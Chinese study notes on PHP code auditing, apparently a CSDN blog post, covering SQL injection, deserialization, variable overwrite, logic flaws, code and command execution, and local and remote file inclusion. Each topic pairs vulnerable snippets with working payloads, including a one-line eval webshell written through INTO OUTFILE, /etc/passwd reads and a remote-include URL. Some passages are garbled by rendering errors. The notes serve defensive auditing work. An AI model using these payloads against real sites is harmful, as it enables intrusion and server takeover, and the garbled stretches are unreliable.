代码审计基础知识点

注入漏洞:
解决方案:addslashes()和mysql_[real_]escape_string()函数
load_file():读取文件
前提:知道文件的绝对路径、能够使用union查询、对web目录有写权限
union select 1,load_file(‘etc/passwd’),3,4,5#
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
0x2f6574632f706173737764 <=> etc/passwd
路径没有加单引号的必须转换16进制;省略单引号必须转换16进制

    into outfile:写入文件
            前提:文件名必须是全路径(绝对路径)、用户必须有写文件的权限、没有对单引号'过滤
            select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\test.php'
            select '<?php @eval($_POST["hack"]); ?>' into outfile 'C:\Windows\tmp\test.php'
            路径里面 \\ 可以换成 /
            PHP语句没有单引号,必须转换16进制;省略单引号,必须转换16进制
            建议一句话木马转换16进制

    MySQL报错注入:
            ①floor():向下取整,只保留整数部分 
                    Payload:https://127.0.0.1/test.php?id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from

information_schema.tables group by x)a)
②extractvalue():对xml文档进行查询
Payload:https://127.0.0.1/test.php?id=1 and (extractvalue(1,concat(0x5c,(select user())))) 0x5c <=> ’
③updatexml():更新xml文档
Payload:https://127.0.0.1/test.php?id=1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
0x5e24 <=> '^
④其他函数GeometryCollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring()、exp()

反序列化漏洞:
__toString() 当对象被当作字符串输出时自动调用
-> 变量赋值
特殊写法: <?=$todo> <=> <?php echo $todo?>
常见函数:
FILE 获取当前文件路径
show_source() 显示文件源码
print_r() 可以输出非字符串
常见魔术方法:
__construct() 对象创建时自动调用
__destruct() 对象销毁时自动调用
__wakeup() 使用unserialize()函数时自动调用

变量覆盖漏洞:
场景:$ 、 e x t r a c t ( ) 、 p a r s e s t r ( ) 、 i m p o r t r e q u e s t v a r i a b l e s ( ) 解 决 方 案 : 不 进 行 变 量 注 册 ; 直 接 用 原 生 的 、extract()、parse_str()、import_request_variables() 解决方案:不进行变量注册;直接用原生的 extract()parsestr()importrequestvariables()_GET、 P O S T 、 _POST、 POST_COOKIE等数组进行操作;需要注册个别变量,直接在代码中定义变量,然后在请求中赋值

    $$:
            <?php
                    foreach(array('_COOKIE','_POST','_GET') as $_request){
                            foreach($$_request as $key => $_value){
                                    echo $_key;
                                    $$_key = addslashes($_value);
                            }
                    }
                    echo $a;
            ?>
    Payload:https://127.0.0.1/test.php?a=1
    执行结果:a     1

    extract():将数组中的键值对注册成变量(从数组中将变量导入到当前的符号表)
    语法:int extract( array &$var_array[, int $extract_type = EXTR_OVERWRITE[,string $prefix = NULL]])  
            最多3个参数【第一个参数是必须的,导致变量覆盖的由第二个参数决定】
            ①第二个参数为 EXTR_OVERWRITE,表示如果有冲突,则覆盖已有的变量;
            ②只传入第一个参数,这时默认为 EXTR_OVERWRITE模式;
            ③第二个参数为EXTR_IF_EXISTS,表示当前符号表已有同名变量时,覆盖它们的值,其他的都不注册新变量
            <?php
                    $b = 2;
                    $a = array('b' =>'1');
                    extract($a);
                    print_r($b);
            ?>
    Payload:https://127.0.0.1/test.php
    执行结果:1

    parse_str():解析字符串并注册成新变量(在注册变量前不会验证当前变量是否已经存在)
    语法:void parse_str(String $str[,array &$arr])
    第一个参数$str是必须的,代表要解析注册成变量的字符串,形式为"a = 1",经过parse_str()函数之后会注册成变量$a并赋值为1
    第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里,如果这个数组原来存在相同的键(key),则会覆盖掉原有的键值
            <?php
                    $b =1;
                    parse_str('b = 2');
                    print_r($b);
            ?>
    Payload:https://127.0.0.1/test.php
    执行结果:2

    import_request_variables():将GET、POST、COOKIE的参数注册成变量,用于register_globals被禁止时,PHP4.1至5.4(建议不开启register_globals、不使用import_request_variables())
    语法:bool import_request_variables(string $types[,string $prefix])
    第一个参数$types代表要注册的变量,G <=> GET、P <=> POST、C <=> COOKIE;当$types为GPC时,会注册GET、POST、COOKIE参数为变量
    第二个参数$prefix为要注册的变量前缀
            <?php
                    $b = 1;
                    import_request_variables('GP');
                    print_r($b);
            ?>
    Payload:https://127.0.0.1/test.php?b=2
    执行结果:2

逻辑处理漏洞:
场景:in_array()、is_numeric()、=、未exit()、die()或return()

    in_array():判断一个值是否在某一个数组列表里
    语法:in_array('b',array('a','b','c'))
    in_array()比较前自动类型转换
            <?php
                    if (in_array($_GET['typeid'],array(1,2,3,4))){
                            $sql = "select ...... from where typeid=' " .$_GET ['typeid'] ." ' ";
                            echo $sql;
                    }
            ?>
    Payload:https://127.0.0.1/test.php?typeid=1' union select ......
    执行结果:select ...... where typeid= '1' union select ...'(绕过检查并注入)

    is_numeric():判断一个变量是否为数字;通过检查返回true,未通过返回false
    传入的参数为hex直接通过并返回true;MySQL可以直接使用hex编码代替字符串明文
            <?php
                    if(is_numeric($_GET['var'])){
                            $sql = "insert into xx values('xx',{$_GET[''var']})";
                            echo $sql;
                    }
            ?>
            "<script>alert(1)</script>"的hex编码为"0x3c7363726970743e616c6572742831293c2f73636970743e"
    Payload:https://127.0.0.1/test.php?var=0x3c7363726970743e616c6572742831293c2f73636970743e
    输入语句效果等同于:insert into xx values('xx','<script>alert(1)</script>')

    ==和===:==在判断等于之前会先做变量类型的转换,===不会
            <?php
                    var_dump($_GET['var0'] == 2);
                    var_dump($_GET['var1] === 2);
            ?>
    Payload:https://127.0.0.1/test.php?var0=2a             https://127.0.0.1/test.php?var1=2a
    执行结果:bool(true)                                                    bool(false)

    未exit()、die()或return():
            <?php
                    if(file_exists('install.lock')){
                            //程序已经安装,跳转到首页
                            header("Location:../");
                    }
                    //进入安装流程
            ?>
            <?php
                    if($_GET['var'] === 'aa'){
                            //程序已经安装,跳转到首页
                            header("Location:../");
                    }
                    echo $_GET['var'];
            ?>
    Payload:https://127.0.0.1/test.php?var=aa
    执行结果:aa
    解决方案:header()后exit()或die()

代码执行漏洞:
场景:eval()、assert()、preg_replace()、动态函数执行
call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架里面动态调用函数
array_map()函数的作用是调用函数并且处第一个参数外其他参数为数组,通常会写死第一个参数,即调用的函数
命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号() 解决方案:escapeshellcmd()和escapeshellarg() escapeshellcmd():过滤整条命令 string escapeshellcmd(string $command) 参数string为要过滤的命令,返回过滤后的string类型的命令 过滤的字符串为'&',';','’,’|’,’*’,’?’,’~’,’<’,’>’,’^’,’(’,’)’,’[’,’]’,’{’,’}’,’KaTeX parse error: Can't use function '\'' in math mode at position 4: ','\̲'̲,'\x0A','\xFF',…_GET[‘cmd’]));
?>
Payload:https://127.0.0.1/test.php?cmd=whoami(
执行结果:whoami^(
escapeshellarg():保证传入命令执行函数里面的参数确实是一字符串参数形式存在,不能被注入
将参数限制在一对双括号里,确保参数为一个字符串,会把双引号替换为空格
<?php
echo ‘ls’.escapeshellarg(‘a"’);
?>
Payload:https://127.0.0.1/test.php
执行结果:ls a

    eval()和assert()函数:
            <?php
                    $a = 'aaa';
                    $b = 'bbb';
                    eval('$a = $b');
                    var_dump($a);
            ?>
    Payload:https://127.0.0.1/test.php
    执行结果:string(3)"bbb"

    preg_replace()函数:对字符串进行正则处理
    语法:mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])
    搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处即第一个参数存在修饰符/e时,$replacement的值会被当成PHP代码执行
            <?php
                    preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
                    //从$_GET['str']变量里搜索括号[]中间的内容作为第一组的结果,preg_replace()函数的第二个参数为'\\1'代表这里用第一组结果填充,这里可以直接执行代码
            ?>
    Payload:https://127.0.0.1/test.php?str=[phpinfo()]
    执行结果:PHP Version 5.3.28

    call_user_func()函数:调用函数并且第二个参数作为要调用的函数的参数
    语法:mixed call_user_func(callable $callback[,mixed $parmeter[,mixed $..]])
            <?php
                    $b= "phpinfo()";
                    call_user_func($_GET['a'],$b);
            ?>
    Payload:https://127.0.0.1/test.php?a=assert
    执行结果:PHP Version 5.3.28

    动态函数执行:PHP特性-PHP的函数可以直接由字符串拼接
            <?php
                    $_GET['a']($_GET['b']);
            ?>
    Payload:https://127.0.0.1/test.php?a=assert&b=phpinfo()
    执行结果:PHP Version 5.3.28

    命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号(`):
    system()、exex()、shell_exec()、passthru()以及反引号(`)可以直接传入命令并且函数会返回执行结果

    system():函数会直接回显结果打印输出,不需要echo()也可以
            <?php
                    system('whoami');
            ?>
    Payload:https://127.0.0.1/test.php
    执行结果:desktop-htl6dmj\hackerone

    pcntl()函数:是PHP的多进程处理扩展
    语法:void pcntl_exec(string $path[,array $args[,array $envs]])
    $path为可执行程序路径,如果是Perl或Bash脚本,则需要在文件头加上#!/ bin/bash来标识可执行程序路径,$args表示传递给$path程序的参数,$envs则是执行这个程序的环境变量

    popen()、popen_open()函数:不会直接返回执行结果,而是返回一个文件指针,但命令已经执行
    popen()函数需要两个参数,一个是执行的命令;另一个是指针文件的连接模式,有r、w代表读和写
            <?php
                    popen('whoami >>D:/1.txt','r');
            ?>
    执行结果:在D盘根目录看到1.txt文件,内容为WebServer用户名

    反引号(`)命令执行:实际上反引号(`)执行命令是调用的shell_exec()函数
            <?php
                    echo `whoami`;
            ?>
    Payload:https://127.0.0.1/test.php
    执行结果:desktop-htl6dmj\hackerone
    在php.ini文件中把PHP安全模式打开,重启WebServer重新加载PHP配置文件,再执行访问代码
    Payload:https://127.0.0.1/test.php
    执行结果:Warning:shell_exec()[function.shell_exec]:Cannot execute using backquotes in Safe Mode in D:\www\test.php on line 2
    这个提示说明反引号(`)执行命令的方式是使用的shell_exec()函数

文件包含漏洞(LFI + RFI):
本地文件包含(LFI-local file include)、远程文件包含(RFI-remote file include)
场景:include()、include_once()、require()、require_once() 【_once后缀表示包含一次】
include()和include_once()在包含文件时即使遇到错误,下面的代码依然会执行
require()和require_once()在包含文件时遇到错误,会直接报错退出程序

    本地文件包含(LFI-local file include):
            <?php
                    define("ROOT",dirname(__FILE__).'/');
                    //加载模块,在同目录下2.php写入<?php phpinfo();?>
                    $mod = $_GET['mod'];
                    echo ROOT.$mod.'.php';
                    include(ROOT.$mod.'.php');
            ?>
    Payload:https://127.0.0.1/test.php?mod=2
    执行结果:PHP Version 5.3.28

    远程文件包含(RFI-remote file include):
            <?php
                    include($_GET['url']);
            ?>
            远程主机remotehost:2.txt         <?php phpinfo();?>
    Payload:https://127.0.0.1/test.php?url=http://remotehost/2.txt
    执行结果:PHP Version 5.3.28
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值